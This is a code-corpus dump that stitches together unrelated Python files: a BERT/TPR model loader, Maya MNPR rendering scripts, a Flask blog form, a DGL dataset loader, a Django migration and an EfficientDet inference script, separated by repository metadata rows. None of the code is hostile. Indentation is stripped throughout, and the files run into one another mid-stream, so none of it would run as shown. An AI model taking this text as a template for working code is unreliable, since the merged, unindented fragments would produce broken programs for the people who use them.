def prepare_model(args, opt, num_labels, task_type, device, n_gpu, loading_path=None):
# Load config and pre-trained model
pre_trained_model = BertModel.from_pretrained(args.bert_model, cache_dir=PYTORCH_PRETRAINED_BERT_CACHE / 'distributed_{}'.format(args.local_rank))
bert_config = pre_trained_model.config
# modify config
bert_config.num_hidden_layers = args.num_bert_layers
model = BertForSequenceClassification_tpr(bert_config,
num_labels=num_labels,
task_type=task_type,
temperature=args.temperature,
max_seq_len=args.max_seq_length,
**opt)
# load desired layers from config
model.bert.load_state_dict(pre_trained_model.state_dict(), strict=False)
# initialize Symbol and Filler parameters from a checkpoint instead of randomly initializing them
if loading_path:
logger.info('loading model checkpoint from {}'.format(loading_path))
output_model_file = os.path.join(loading_path)
states = torch.load(output_model_file, map_location=device)
model_state_dict = states['state_dict']
# options shouldn't be loaded from the pre-trained model
# opt = states['options']
desired_keys = []
if args.load_role:
logger.info('loading roles from checkpoint model')
desired_keys.extend(['head.R.weight', 'head.R.bias'])
if args.load_filler:
logger.info('loading fillers from checkpoint model')
desired_keys.extend(['head.F.weight', 'head.F.bias'])
if args.load_role_selector:
logger.info('loading role selectors from checkpoint model')
desired_keys.extend(['head.WaR.weight', 'head.WaR.bias'])
desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.enc_aR')])
if args.load_filler_selector:
logger.info('loading filler selectors from checkpoint model')
desired_keys.extend(['head.WaF.weight', 'head.WaF.bias'])
desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.enc_aF')])
if args.load_bert_params:
logger.info('loading bert params from checkpoint model')
desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('bert')])
if args.load_classifier:
logger.info('loading classifier params from checkpoint model')
desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('classifier')])
if args.load_LSTM_params:
logger.info('loading LSTM params from checkpoint model')
desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.rnn')])
state = dict()
for key, val in model_state_dict.items():
if key in desired_keys:
state[key] = val
model.load_state_dict(state, strict=False)
frozen_keys = []
if args.freeze_role:
logger.info('freezing roles if loaded from ckpt model')
frozen_keys.extend(['head.R.weight', 'head.R.bias'])
if args.freeze_filler:
logger.info('freezing fillers if loaded from ckpt model')
frozen_keys.extend(['head.F.weight', 'head.F.bias'])
if args.freeze_role_selector:
logger.info('freezing role selectors if loaded from ckpt model')
frozen_keys.extend(['head.WaR.weight', 'head.WaR.bias'])
frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.enc_aR')])
if args.freeze_filler_selector:
logger.info('freezing filler selectors if loaded from ckpt model')
frozen_keys.extend(['head.WaF.weight', 'head.WaF.bias'])
frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.enc_aF')])
if args.freeze_bert_params:
logger.info('freezing bert params if loaded from ckpt model')
frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('bert')])
if args.freeze_classifier:
logger.info('freezing classifier params if loaded from ckpt model')
frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('classifier')])
if args.freeze_LSTM_params:
logger.info('freezing LSTM params if loaded from ckpt model')
frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.rnn')])
for name, param in model.named_parameters():
if name in frozen_keys:
param.requires_grad = False
if args.fp16:
model.half()
model.to(device)
if args.local_rank != -1:
try:
from apex.parallel import DistributedDataParallel as DDP
except ImportError:
raise ImportError(
"Please install apex from https://www.github.com/nvidia/apex to use distributed and fp16 training.")
model = DDP(model)
elif n_gpu > 1:
model = torch.nn.DataParallel(model)
return model, bert_config
def prepare_structure_values(args, eval_task_name, all_ids, F_list, R_list, F_full, R_full, all_tokens, token_pos, token_ner, token_dep, token_const):
values = {}
if args.single_sentence or eval_task_name.lower() in ['sst', 'cola']:
index = 0
tokens = [val[index] for val in all_tokens]
pos_tags = [[subval[1] for subval in val[index]] for val in token_pos]
ner_tags = [[subval[1] for subval in val[index]] for val in token_ner]
dep_parse_tokens = [[subval[0] for subval in val[index]] for val in token_dep]
dep_parse = [[subval[1] for subval in val[index]] for val in token_dep]
const_parse = [[subval[1] for subval in val[index]] for val in token_const]
parse_tree_depth = [[len(subval[1]) for subval in val[index]] for val in token_const]
else:
tokens = []
pos_tags = []
ner_tags = []
dep_parse_tokens = []
dep_parse = []
const_parse = []
parse_tree_depth = []
index = 0
tokens_a = [val[index] for val in all_tokens]
pos_tags_a = [[subval[1] for subval in val[index]] for val in token_pos]
ner_tags_a = [[subval[1] for subval in val[index]] for val in token_ner]
dep_parse_tokens_a = [[subval[0] for subval in val[index]] for val in token_dep]
dep_parses_a = [[subval[1] for subval in val[index]] for val in token_dep]
const_parses_a = [[subval[1] for subval in val[index]] for val in token_const]
parse_tree_depths_a = [[len(subval[1]) for subval in val[index]] for val in token_const]
index = 1
tokens_b = [val[index] for val in all_tokens]
pos_tags_b = [[subval[1] for subval in val[index]] for val in token_pos]
ner_tags_b = [[subval[1] for subval in val[index]] for val in token_ner]
dep_parse_tokens_b = [[subval[0] for subval in val[index]] for val in token_dep]
dep_parses_b = [[subval[1] for subval in val[index]] for val in token_dep]
const_parses_b = [[subval[1] for subval in val[index]] for val in token_const]
parse_tree_depths_b = [[len(subval[1]) for subval in val[index]] for val in token_const]
for token_a, token_b in zip(tokens_a, tokens_b):
tokens.append(token_a + ['[SEP]'] + token_b)
for pos_tag_a, pos_tag_b in zip(pos_tags_a, pos_tags_b):
pos_tags.append(pos_tag_a + ['SEP'] + pos_tag_b)
for ner_tag_a, ner_tag_b in zip(ner_tags_a, ner_tags_b):
ner_tags.append(ner_tag_a + ['[SEP]'] + ner_tag_b)
for dep_parse_token_a, dep_parse_token_b in zip(dep_parse_tokens_a, dep_parse_tokens_b):
dep_parse_tokens.append(dep_parse_token_a + ['[SEP]'] + dep_parse_token_b)
for dep_parse_a, dep_parse_b in zip(dep_parses_a, dep_parses_b):
dep_parse.append(dep_parse_a + ['[SEP]'] + dep_parse_b)
for const_parse_a, const_parse_b in zip(const_parses_a, const_parses_b):
const_parse.append(const_parse_a + ['[SEP]'] + const_parse_b)
for parse_tree_depth_a, parse_tree_depth_b in zip(parse_tree_depths_a, parse_tree_depths_b):
parse_tree_depth.append(parse_tree_depth_a + ['[SEP]'] + parse_tree_depth_b)
bad_sents_count = 0
for i in range(len(all_ids)):
try:
assert len(tokens[i]) == len(F_list[i]) == len(R_list[i]) == len(F_full[i]) == len(R_full[i])
val_i = {'tokens': tokens[i], 'all_aFs': F_list[i], 'all_aRs': R_list[i], 'all_aFs_full': F_full[i], 'all_aRs_full': R_full[i]}
if args.return_POS:
assert len(pos_tags[i]) == len(tokens[i])
val_i.update({'pos_tags': pos_tags[i]})
if args.return_NER:
assert len(ner_tags[i]) == len(tokens[i])
val_i.update({'ner_tags': ner_tags[i]})
if args.return_DEP:
assert len(dep_parse_tokens[i]) == len(dep_parse[i])
val_i.update({'dep_parse_tokens': dep_parse_tokens[i],'dep_edge': dep_parse[i]})
if args.return_CONST:
assert len(const_parse[i]) == len(tokens[i])
val_i.update({'const_parse_path': const_parse[i]})
assert len(parse_tree_depth[i]) == len(tokens[i])
val_i.update({'tree_depth': parse_tree_depth[i]})
values[all_ids[i]] = val_i
except:
bad_sents_count += 1
logger.info('Could not parse {:.2f}% of the sentences out of all {} data points'.format(bad_sents_count/ len(all_ids)*100, len(all_ids)))
return values | 51.023256 | 150 | 0.650606 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,114 | 0.137648 |
344722b00d3920bfcddd02e2177d5a68ad33dd3e | 19,272 | py | Python | scripts/mnpr_system.py | semontesdeoca/MNPR | 8acf9862e38b709eba63a978d35cc658754ec9e9 | [
"MIT"
] | 218 | 2018-06-11T08:46:41.000Z | 2022-03-06T02:09:41.000Z | scripts/mnpr_system.py | Yleroimar/3D-Comic-Rendering | 8c3221625dfbb5a4d5efc92b235d547a4e6e66ad | [
"MIT"
] | 32 | 2018-06-14T05:27:50.000Z | 2021-11-23T08:56:40.000Z | scripts/mnpr_system.py | Yleroimar/3D-Comic-Rendering | 8c3221625dfbb5a4d5efc92b235d547a4e6e66ad | [
"MIT"
] | 35 | 2018-06-11T08:50:43.000Z | 2021-11-28T07:48:20.000Z | """
@license: MIT
@repository: https://github.com/semontesdeoca/MNPR
_
_ __ ___ _ __ _ __ _ __ ___ _ _ ___| |_ ___ _ __ ___
| '_ ` _ \| '_ \| '_ \| '__| / __| | | / __| __/ _ \ '_ ` _ \
| | | | | | | | | |_) | | \__ \ |_| \__ \ || __/ | | | | |
|_| |_| |_|_| |_| .__/|_| |___/\__, |___/\__\___|_| |_| |_|
|_| |___/
@summary: MNPR related functions
"""
from __future__ import print_function
import os
import traceback
import maya.cmds as cmds
import maya.mel as mel
import coopLib as lib
import mnpr_info
import mnpr_runner
import mnpr_matPresets
mnpr_info.loadPlugin()
dx2sfxAttr = {"xUseColorTexture": "Albedo_Texture",
"xColorTint": "Color_Tint",
"xUseNormalTexture": "Normal_Map",
"xFlipU": "Invert_U",
"xFlipV": "Invert_V",
"xBumpDepth": "Bump_Depth",
"xUseSpecularTexture": "Specular_Map",
"xSpecular": "Specular_Roll_Off",
"xSpecDiffusion": "Specular_Diffusion",
"xSpecTransparency": "Specular_Transparency",
"xUseShadows": "",
"xShadowDepthBias": "",
"xDiffuseFactor": "Diffuse_Factor",
"xShadeColor": "Shade_Color",
"xShadeWrap": "Shade_Wrap",
"xUseOverrideShade": "Shade_Override",
"xDilute": "Dilute_Paint",
"xCangiante": "Cangiante",
"xDiluteArea": "Dilute_Area",
"xHighArea": "Highlight_Roll_Off",
"xHighTransparency": "Highlight_Transparency",
"xAtmosphereColor": "",
"xRangeStart": "",
"xRangeEnd": "",
"xDarkEdges": "",
"xMainTex": "Albedo_Texture_File",
"xNormalTex": "Normal_Map_File",
"xSpecTex": "Specular_Map_File"
}
def check():
"""Makes sure everything is running right"""
print("SYSTEM CHECK FOR {0}".format(mnpr_info.prototype))
# check viewport
viewport = lib.getActiveModelPanel()
cmds.modelEditor(viewport, dtx=True, e=True) # display textures
# plugin needs to be loaded
mnpr_info.loadRenderer()
# 3rd party plugins must be loaded
cmds.loadPlugin('shaderFXPlugin', quiet=True)
if cmds.about(nt=True, q=True):
cmds.loadPlugin('dx11Shader', quiet=True) # deprecated (only shadeFXPlugin in the future)
cmds.loadPlugin('glslShader', quiet=True) # deprecated (only shaderFXPlugin in the future)
# viewport renderer must be set
mel.eval("setRendererAndOverrideInModelPanel vp2Renderer {0} {1};".format(mnpr_info.prototype, viewport))
# modify color of heads up display
cmds.displayColor("headsUpDisplayLabels", 2, dormant=True)
cmds.displayColor("headsUpDisplayValues", 2, dormant=True)
# make sure a config node exists
if not cmds.objExists(mnpr_info.configNode):
selected = cmds.ls(sl=True, l=True)
selectConfig()
cmds.select(selected, r=True)
lib.printInfo("-> SYSTEM CHECK SUCCESSFUL")
def changeStyle():
"""Resets MNPR to load a new style"""
# reset stylization
cmds.mnpr(resetStylization=True)
# delete old config node
if cmds.objExists(mnpr_info.configNode):
cmds.delete(mnpr_info.configNode)
# flush undo
cmds.flushUndo()
print("style deleted")
# deregister node
cmds.mnpr(rn=False)
# register node
cmds.mnpr(rn=True)
# create new config node
selectConfig()
# refresh AETemplate
mnpr_runner.reloadConfig()
# set new media type
mnpr_info.media = cmds.mnpr(style=True, q=True)
# rebuild opened UI's
import mnpr_UIs
if cmds.window(mnpr_UIs.BreakdownUI.windowTitle, exists=True):
mnpr_runner.openOverrideSettings(rebuild=True)
import mnpr_FX
if cmds.window(mnpr_FX.MNPR_FX_UI.windowTitle, exists=True):
mnpr_runner.openPaintFX(rebuild=True)
lib.printInfo("Style changed")
def togglePlugin(force=""):
"""
Toggles active or forces desired plugin prototype
Args:
force (str): plugin name to force
"""
if force:
unloadPlugin(mnpr_info.prototype)
mnpr_info.prototype = force
check()
else:
# toggle loaded prototype
if cmds.pluginInfo(mnpr_info.prototype, loaded=True, q=True):
unloadPlugin(mnpr_info.prototype)
else:
check()
def unloadPlugin(plugin):
"""
Unloads plugin and cleans scene from plugin traces
Args:
plugin (str): name of plugin to be unloaded
"""
# check which prototype is active
if cmds.pluginInfo(plugin, loaded=True, q=True):
# remove traces and unload
if cmds.objExists(mnpr_info.configNode):
cmds.delete(mnpr_info.configNode) # delete config node
cmds.flushUndo() # clear undo queue
cmds.unloadPlugin(plugin) # unload plugin
lib.printInfo("->PLUGIN SUCCESSFULLY UNLOADED")
def showShaderAttr():
""" Select material and show in attribute editor """
if cmds.ls(sl=True):
cmds.hyperShade(smn=True)
mel.eval("openAEWindow")
else:
cmds.warning("Select object with shader")
def refreshShaders():
""" Refreshes object-space plugin shaders """
shaderDir = systemDir("shaders")
if os.name == 'nt' and mnpr_info.backend == 'dx11':
shaderFile = os.path.join(shaderDir, "PrototypeC.fx")
if not os.path.isfile(shaderFile):
shaderFile = os.path.join(shaderDir, "prototypeC.fxo")
shaders = cmds.ls(type="dx11Shader")
else:
shaderFile = os.path.join(shaderDir, "PrototypeC.ogsfx")
shaders = cmds.ls(type="GLSLShader")
for shader in shaders:
cmds.setAttr("{0}.shader".format(shader), shaderFile, type="string")
lib.printInfo('Shaders refreshed')
return True
def updateShaderFX():
""" Updates shaderFX shaders"""
shaderDir = systemDir("shaders")
materials = cmds.ls(type="ShaderfxShader")
counter = 0
for mat in materials:
counter += 1
# get materials attributes
matAttrs = {}
mnpr_matPresets.getMaterialAttrs(mat, matAttrs)
# load new graph
shaderFile = os.path.join(shaderDir, "{0}.sfx".format(matAttrs["graph"]))
cmds.shaderfx(sfxnode=mat, loadGraph=shaderFile)
# set attributes
mnpr_matPresets.setMaterialAttrs(mat, matAttrs)
print("{0} has been updated to the latest version".format(mat))
print("{0}/{1} materials updated".format(counter, len(materials)))
lib.printInfo('Shaders updated')
def dx112glsl():
""" Converts dx11 materials to glsl materials """
check()
dx11Shaders = cmds.ls(type="dx11Shader")
print(dx11Shaders)
for dx11Shader in dx11Shaders:
print("Transfering {0} shader".format(dx11Shader))
# get all attributes
attributes = cmds.listAttr(dx11Shader, ud=True, st="x*", k=True)
print(attributes)
# get all connected nodes
connectedNodes = cmds.listConnections(dx11Shader, t="file", c=True, p=True)
print(connectedNodes)
# get all shapes
cmds.select(dx11Shader, r=True)
cmds.hyperShade(objects="")
shapes = cmds.ls(sl=True)
print(shapes)
# create glsl shader
shader = cmds.shadingNode('GLSLShader', asShader=True, n="{0}_GL".format(dx11Shader))
cmds.select(shapes, r=True)
cmds.hyperShade(assign=shader)
print(">>> Shader {0} created".format(shader))
# assign attributes
shaderFile = os.path.join(mnpr_info.environment,"shaders","PrototypeC.ogsfx")
cmds.setAttr("{0}.shader".format(shader), shaderFile, type="string")
print("Setting attributes for {0}".format(shader))
for attr in attributes:
value = cmds.getAttr("{0}.{1}".format(dx11Shader, attr))
try:
if type(value) == type([]):
cmds.setAttr("{0}.{1}".format(shader, attr), value[0][0], value[0][1], value[0][2], typ="double3")
else:
cmds.setAttr("{0}.{1}".format(shader, attr), value)
except:
print("Found problemt when setting {0}.{1}, skipping for now".format(shader, attr))
# connect nodes
if connectedNodes:
for i in range(0, len(connectedNodes), 2):
inputAttr = connectedNodes[i].split(".")[1]
cmds.connectAttr(connectedNodes[i+1], "{0}.{1}".format(shader, inputAttr))
# set control sets
if cmds.attributeQuery("Color0_Source", node=shader, ex=True):
cmds.setAttr("{0}.Color0_Source".format(shader), "color:controlSetA", type="string" )
if cmds.attributeQuery("Color1_Source", node=shader, ex=True):
cmds.setAttr("{0}.Color1_Source".format(shader), "color:controlSetB", type="string" )
if cmds.attributeQuery("Color2_Source", node=shader, ex=True):
cmds.setAttr("{0}.Color2_Source".format(shader), "color:controlSetC", type="string" )
# delete dx11 shader
#cmds.delete(dx11Shader)
def dx112sfx(graph="mnpr_uber"):
"""
Converts dx11 materials to shaderFX materials
Args:
graph (str): ShaderFX graph name (filename)
"""
check()
dx11Shaders = cmds.ls(type="dx11Shader")
prototypeCNodes = []
for dx11Shader in dx11Shaders:
shaderPath = cmds.getAttr("{0}.shader".format(dx11Shader))
if "rototypeC" not in shaderPath:
continue
prototypeCNodes.append(dx11Shader)
print("Converting {0} shader".format(dx11Shader))
# get all attributes
attributes = cmds.listAttr(dx11Shader, ud=True, st="x*", k=True)
print(attributes)
# get all connected nodes
connectedNodes = cmds.listConnections(dx11Shader, t="file", c=True)
print(connectedNodes)
# get all shapes
cmds.select(dx11Shader, r=True)
cmds.hyperShade(objects="")
shapes = cmds.ls(sl=True)
print(shapes)
# create shaderFX shader
shader = cmds.shadingNode('ShaderfxShader', asShader=True, name="{0}".format(dx11Shader.replace("_WC", "_SFX")))
cmds.select(shapes, r=True)
cmds.hyperShade(assign=shader)
shaderFile = os.path.join(mnpr_info.environment, "shaders", "{0}.sfx".format(graph))
cmds.shaderfx(sfxnode=shader, loadGraph=shaderFile)
print(">>> Shader {0} created".format(shader))
# assign settings
vtxControl = bool(cmds.getAttr("{0}.{1}".format(dx11Shader, "xUseControl")))
if vtxControl:
nodeId = cmds.shaderfx(sfxnode=shader, getNodeIDByName="vtxControls")
cmds.shaderfx(sfxnode=shader, edit_bool=(nodeId, "value", vtxControl))
shadows = bool(cmds.getAttr("{0}.{1}".format(dx11Shader, "xUseShadows")))
if not shadows:
nodeId = cmds.shaderfx(sfxnode=shader, getNodeIDByName="Shadow")
cmds.shaderfx(sfxnode=shader, edit_bool=(nodeId, "value", shadows))
specularity = bool(cmds.getAttr("{0}.{1}".format(dx11Shader, "xSpecular")))
if specularity:
nodeId = cmds.shaderfx(sfxnode=shader, getNodeIDByName="Specularity")
cmds.shaderfx(sfxnode=shader, edit_bool=(nodeId, "value", specularity))
# assign attributes
print("Setting attributes for {0}".format(shader))
for attr in attributes:
value = cmds.getAttr("{0}.{1}".format(dx11Shader, attr))
if attr in dx2sfxAttr:
lib.setAttr(shader, dx2sfxAttr[attr], value)
# assign textures
if connectedNodes:
for i in range(0, len(connectedNodes), 2):
textureDir = cmds.getAttr("{0}.{1}".format(connectedNodes[i+1], "fileTextureName"))
attr = connectedNodes[i].split(".")[1]
lib.setAttr(shader, dx2sfxAttr[attr], textureDir)
# delete prototypeC shaders
cmds.delete(prototypeCNodes)
def systemDir(folder=''):
"""
Returns the system directory
Args:
folder (str): folder to append to system directory
Returns:
(str): path to system directory
"""
rootDir = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))
return os.path.join(rootDir, folder)
def selectConfig():
"""Select configuration node and re-check connections"""
# delete old configuration nodes
if cmds.objExists("NPRConfig"):
cmds.delete("NPRConfig")
if not cmds.objExists(mnpr_info.configNode):
print(mnpr_info.configNode)
cmds.createNode("mnprConfig", n=mnpr_info.configNode)
cmds.connectAttr("{0}.evaluate".format(mnpr_info.configNode), "persp.visibility", f=True)
mel.eval("AttributeEditor")
lib.printInfo("-> CONFIG NODE CREATED AND CONNECTED")
else:
cmds.select(mnpr_info.configNode)
mel.eval("AttributeEditor")
lib.printInfo("Selected {0} configuration node".format(mnpr_info.prototype))
def optimizePerformance():
"""Function to optimize performance by disabling some Maya functions"""
cmds.evaluationManager(mode="off") # set up animation evaluation to DG
def renderFrame(saveDir, width, height, renderSize=1, imgFormat=".jpg", override=mnpr_info.prototype):
"""
Renders current frame in the viewport
Args:
saveDir (str): save directory
width (int): width in pixels
height (int): height in pixels
renderSize (float): render size (factor)
imgFormat (str): .jpg, .exr, etc)
override (str): name of desired override (if any)
"""
check() # check that everything is in order
renderSize = resolutionCheck(width, height, renderSize) # make sure resolution is reasonable
# get working values to be changed
workingRenderSize = cmds.getAttr("{0}.renderScale".format(mnpr_info.configNode))
workingColorDepth = cmds.getAttr("{0}.colorDepth".format(mnpr_info.configNode))
# set desired attributes
if workingColorDepth != 2:
lib.setAttr(mnpr_info.configNode, "colorDepth", 2)
if renderSize != workingRenderSize:
lib.setAttr(mnpr_info.configNode, "renderScale", renderSize)
# prepare renderer
cmds.mnpr(g=True) # enable mnprGamma
mnprOperations = len(cmds.mnpr(lsO=True))
cmds.mnpr(renderOperation=mnprOperations-1, s=0) # HUD
cmds.mnpr(renderOperation=mnprOperations-2, s=0) # UI
cmds.refresh()
# render frame
try:
screenshotPath = lib.screenshot(saveDir, width, height, format=imgFormat, override=override) # render the frame
except WindowsError:
print("Screenshot saving has been canceled")
except:
traceback.print_exc()
if screenshotPath:
# bring everything back to normal
cmds.mnpr(renderOperation=mnprOperations-1, s=1) # HUD
cmds.mnpr(renderOperation=mnprOperations-2, s=1) # UI
lib.setAttr(mnpr_info.configNode, "renderScale", workingRenderSize)
lib.setAttr(mnpr_info.configNode, "colorDepth", workingColorDepth)
cmds.mnpr(g=False)
cmds.refresh()
return screenshotPath
def playblast(saveDir, width, height, renderCamera, modelPanel, renderSize=1):
"""
Playblasts the timeslider
Args:
saveDir (str): save directory with *.mov extension
width (int): width in pixels
height: height in pixels
renderCamera: camera to playblast from
modelPanel: modelPanel to playblast from
renderSize: render size (factor)
"""
check() # check that everything is in order
renderSize = resolutionCheck(width, height, renderSize) # make sure resolution is reasonable
aPlayBackSliderPython = mel.eval('$tmpVar=$gPlayBackSlider')
audioNode = cmds.timeControl(aPlayBackSliderPython, q=True, s=True) # get audio node
# get working values to be changed
workingRenderSize = cmds.getAttr("{0}.renderScale".format(mnpr_info.configNode))
workingColorDepth = cmds.getAttr("{0}.colorDepth".format(mnpr_info.configNode))
workingCamera = cmds.modelEditor(modelPanel, cam=True, q=True)
workingCameraShape = cmds.listRelatives(workingCamera, s=True)
if workingCameraShape:
workingCameraShape = workingCameraShape[0]
else:
# we already have the shape
workingCameraShape = workingCamera
# set desired attributes
cmds.mnpr(g=True)
mnprOperations = len(cmds.mnpr(lsO=True))
cmds.mnpr(renderOperation=mnprOperations-1, s=0) # HUD
cmds.mnpr(renderOperation=mnprOperations-2, s=0) # UI
cmds.modelEditor(modelPanel, cam=renderCamera, e=True) # change modelPanel
lib.setAttr(mnpr_info.configNode, "renderScale", renderSize)
lib.setAttr(mnpr_info.configNode, "colorDepth", 2) # needs to be 32bit to avoid artefacts
cmds.refresh()
# try playblasting
try:
cmds.playblast(f=saveDir, format="qt", w=width, h=height, percent=100, qlt=100, v=True, fo=True, os=True,
s=audioNode, compression="PNG")
except RuntimeError:
try:
cmds.playblast(f=saveDir, format="avi", w=width, h=height, percent=100, qlt=100, v=True, fo=True, os=True,
s=audioNode)
except RuntimeError:
cmds.error("Video cannot be playblasted as qt or avi, please check the installed codecs.")
# bring everything back to normal
cmds.mnpr(renderOperation=mnprOperations-1, s=1) # HUD
cmds.mnpr(renderOperation=mnprOperations-2, s=1) # UI
cmds.modelEditor(modelPanel, cam=workingCameraShape, e=True)
lib.setAttr(mnpr_info.configNode, "renderScale", workingRenderSize)
lib.setAttr(mnpr_info.configNode, "colorDepth", workingColorDepth)
cmds.mnpr(g=False)
cmds.refresh()
lib.printInfo("Video has been successfully playblasted to: {0}".format(saveDir))
def resolutionCheck(width, height, renderSize=1.0):
"""
Checks if resolution is between reasonable hardware limitations
Args:
width (int): viewport width
height (int): viewport height
renderSize (float): render size (factor)
Returns:
renderSize (int): viable render size (factor)
"""
if (width*renderSize > 16384) or (height*renderSize > 16384):
cmds.warning("Resolution too high to supersample, reducing render size")
return resolutionCheck(width, height, renderSize/2.0)
else:
if (width * height * pow(renderSize, 2)) > 150000000:
confirm = cmds.confirmDialog(title='Crash Warning',
message='Rendering a frame at such high resolutions might take long and even crash Maya\nWould you like to continue anyway?',
icn="warning", button=['Yes', 'No'], defaultButton='Yes',
cancelButton='No', dismissString='No', ma='center')
if confirm == 'No':
cmds.error("Frame capture cancelled by user")
return renderSize
def updateAE():
mel.eval("refreshEditorTemplates;")
return True
| 38.390438 | 166 | 0.634651 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6,861 | 0.356009 |
344753395c32fdc8e1cad3a8b60e006debbc3651 | 354 | py | Python | social_blog/blog_posts/forms.py | higorspinto/Social-Blog | bec89351bf76778059f112c0e2a66de9348dda54 | [
"MIT"
] | null | null | null | social_blog/blog_posts/forms.py | higorspinto/Social-Blog | bec89351bf76778059f112c0e2a66de9348dda54 | [
"MIT"
] | 4 | 2021-03-19T03:43:40.000Z | 2022-01-13T01:39:30.000Z | social_blog/blog_posts/forms.py | higorspinto/Social-Blog | bec89351bf76778059f112c0e2a66de9348dda54 | [
"MIT"
] | null | null | null | # blogs_posts/forms.py
from flask_wtf import FlaskForm
from wtforms import StringField, TextAreaField, SubmitField
from wtforms.validators import DataRequired
class BlogPostForm(FlaskForm):
title = StringField("Title", validators=[DataRequired()])
text = TextAreaField("Text", validators=[DataRequired()])
submit = SubmitField("Post")
| 29.5 | 61 | 0.762712 | 188 | 0.531073 | 0 | 0 | 0 | 0 | 0 | 0 | 41 | 0.115819 |
34477ed091a62fd041fd8da29b9f4d7e60820e1c | 415 | py | Python | python/dgl/contrib/data/__init__.py | ketyi/dgl | a1b859c29b63a673c148d13231a49504740e0e01 | [
"Apache-2.0"
] | 9,516 | 2018-12-08T22:11:31.000Z | 2022-03-31T13:04:33.000Z | python/dgl/contrib/data/__init__.py | ketyi/dgl | a1b859c29b63a673c148d13231a49504740e0e01 | [
"Apache-2.0"
] | 2,494 | 2018-12-08T22:43:00.000Z | 2022-03-31T21:16:27.000Z | python/dgl/contrib/data/__init__.py | ketyi/dgl | a1b859c29b63a673c148d13231a49504740e0e01 | [
"Apache-2.0"
] | 2,529 | 2018-12-08T22:56:14.000Z | 2022-03-31T13:07:41.000Z | from __future__ import absolute_import
from . import knowledge_graph as knwlgrh
def load_data(dataset, bfs_level=3, relabel=False):
if dataset in ['aifb', 'mutag', 'bgs', 'am']:
return knwlgrh.load_entity(dataset, bfs_level, relabel)
elif dataset in ['FB15k', 'wn18', 'FB15k-237']:
return knwlgrh.load_link(dataset)
else:
raise ValueError('Unknown dataset: {}'.format(dataset))
| 37.727273 | 63 | 0.691566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 67 | 0.161446 |
3447c0a2e4e87d813f8b9dc78d7b0714f0ad5791 | 1,568 | py | Python | blog/migrations/0001_initial.py | ht-90/django-blog | b7dd80a4066ecf3c288461e0c5785f953a1d2e5f | [
"MIT"
] | null | null | null | blog/migrations/0001_initial.py | ht-90/django-blog | b7dd80a4066ecf3c288461e0c5785f953a1d2e5f | [
"MIT"
] | 1 | 2021-02-23T11:25:37.000Z | 2021-02-23T11:25:37.000Z | blog/migrations/0001_initial.py | ht-90/django-blog | b7dd80a4066ecf3c288461e0c5785f953a1d2e5f | [
"MIT"
] | null | null | null | # Generated by Django 3.1.7 on 2021-02-26 08:07
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=255, null=True, unique=True)),
],
),
migrations.CreateModel(
name='Tag',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=255, null=True, unique=True)),
],
),
migrations.CreateModel(
name='Post',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', models.DateTimeField(auto_now_add=True, null=True)),
('updated', models.DateTimeField(auto_now_add=True, null=True)),
('title', models.CharField(max_length=255, null=True)),
('body', models.TextField(blank=True, null=True)),
('category', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='blog.category')),
('tag', models.ManyToManyField(blank=True, to='blog.Tag')),
],
),
]
| 37.333333 | 124 | 0.574617 | 1,442 | 0.919643 | 0 | 0 | 0 | 0 | 0 | 0 | 175 | 0.111607 |
34484b496b16254e0e79a35db6fc4ba9d65b609e | 2,607 | py | Python | inference.py | CraigWang1/EfficientDet-1 | 930d6a69aa8d5c62a69ab0349181e83f80ac4c8d | [
"Apache-2.0"
] | null | null | null | inference.py | CraigWang1/EfficientDet-1 | 930d6a69aa8d5c62a69ab0349181e83f80ac4c8d | [
"Apache-2.0"
] | null | null | null | inference.py | CraigWang1/EfficientDet-1 | 930d6a69aa8d5c62a69ab0349181e83f80ac4c8d | [
"Apache-2.0"
] | null | null | null | from model import efficientdet
import cv2
import os
import numpy as np
import time
from utils import preprocess_image
from utils.anchors import anchors_for_shape
from utils.draw_boxes import draw_boxes
from utils.post_process_boxes import post_process_boxes
def main():
os.environ['CUDA_VISIBLE_DEVICES'] = '0'
phi = 1
weighted_bifpn = False
model_path = 'checkpoints/2019-12-03/pascal_05_0.6283_1.1975_0.8029.h5'
image_sizes = (512, 640, 768, 896, 1024, 1280, 1408)
image_size = image_sizes[phi]
classes = ['aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus', 'car', 'cat', 'chair', 'cow', 'diningtable',
'dog', 'horse', 'motorbike', 'person', 'pottedplant', 'sheep', 'sofa', 'train', 'tvmonitor']
num_classes = len(classes)
score_threshold = 0.5
colors = [np.random.randint(0, 256, 3).tolist() for _ in range(num_classes)]
model, prediction_model = efficientdet(phi=phi,
weighted_bifpn=weighted_bifpn,
num_classes=num_classes,
score_threshold=score_threshold)
prediction_model.load_weights(model_path, by_name=True)
image_path = 'datasets/VOC2007/JPEGImages/000002.jpg'
image = cv2.imread(image_path)
src_image = image.copy()
image = image[:, :, ::-1]
h, w = image.shape[:2]
image, scale, offset_h, offset_w = preprocess_image(image, image_size=image_size)
anchors = anchors_for_shape((image_size, image_size))
# run network
start = time.time()
boxes, scores, labels = prediction_model.predict_on_batch([np.expand_dims(image, axis=0),
np.expand_dims(anchors, axis=0)])
boxes, scores, labels = np.squeeze(boxes), np.squeeze(scores), np.squeeze(labels)
print(time.time() - start)
